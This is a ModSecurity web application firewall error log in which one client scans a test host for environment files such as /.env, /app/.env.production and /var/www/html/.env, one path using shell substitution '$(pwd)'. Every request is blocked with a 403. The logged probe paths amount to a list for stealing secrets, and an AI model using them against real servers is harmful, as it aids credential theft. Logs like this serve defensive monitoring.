[Sun Mar 01 20:25:36.163670 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBgAAAAI&quot;]
[Sun Mar 01 20:25:36.163917 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBgAAAAI&quot;]
[Sun Mar 01 20:25:36.164096 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBgAAAAI&quot;]
[Sun Mar 01 20:25:36.186606 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBwAAAAI&quot;]
[Sun Mar 01 20:25:36.186860 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBwAAAAI&quot;]
[Sun Mar 01 20:25:36.187023 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTBwAAAAI&quot;]
[Sun Mar 01 20:25:36.209268 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCAAAAAI&quot;]
[Sun Mar 01 20:25:36.209496 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCAAAAAI&quot;]
[Sun Mar 01 20:25:36.209647 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCAAAAAI&quot;]
[Sun Mar 01 20:25:36.231919 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCQAAAAI&quot;]
[Sun Mar 01 20:25:36.232148 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCQAAAAI&quot;]
[Sun Mar 01 20:25:36.232299 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCQAAAAI&quot;]
[Sun Mar 01 20:25:36.254713 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCgAAAAI&quot;]
[Sun Mar 01 20:25:36.254942 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCgAAAAI&quot;]
[Sun Mar 01 20:25:36.255093 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCgAAAAI&quot;]
[Sun Mar 01 20:25:36.277365 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCwAAAAI&quot;]
[Sun Mar 01 20:25:36.277617 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCwAAAAI&quot;]
[Sun Mar 01 20:25:36.277822 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTCwAAAAI&quot;]
[Sun Mar 01 20:25:36.300060 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDAAAAAI&quot;]
[Sun Mar 01 20:25:36.300316 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDAAAAAI&quot;]
[Sun Mar 01 20:25:36.300481 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDAAAAAI&quot;]
[Sun Mar 01 20:25:36.322741 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDQAAAAI&quot;]
[Sun Mar 01 20:25:36.322997 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDQAAAAI&quot;]
[Sun Mar 01 20:25:36.323160 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDQAAAAI&quot;]
[Sun Mar 01 20:25:36.345516 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDgAAAAI&quot;]
[Sun Mar 01 20:25:36.345760 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDgAAAAI&quot;]
[Sun Mar 01 20:25:36.345923 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDgAAAAI&quot;]
[Sun Mar 01 20:25:36.368222 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDwAAAAI&quot;]
[Sun Mar 01 20:25:36.368468 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDwAAAAI&quot;]
[Sun Mar 01 20:25:36.368643 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTDwAAAAI&quot;]
[Sun Mar 01 20:25:36.391239 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEAAAAAI&quot;]
[Sun Mar 01 20:25:36.391498 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEAAAAAI&quot;]
[Sun Mar 01 20:25:36.391653 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEAAAAAI&quot;]
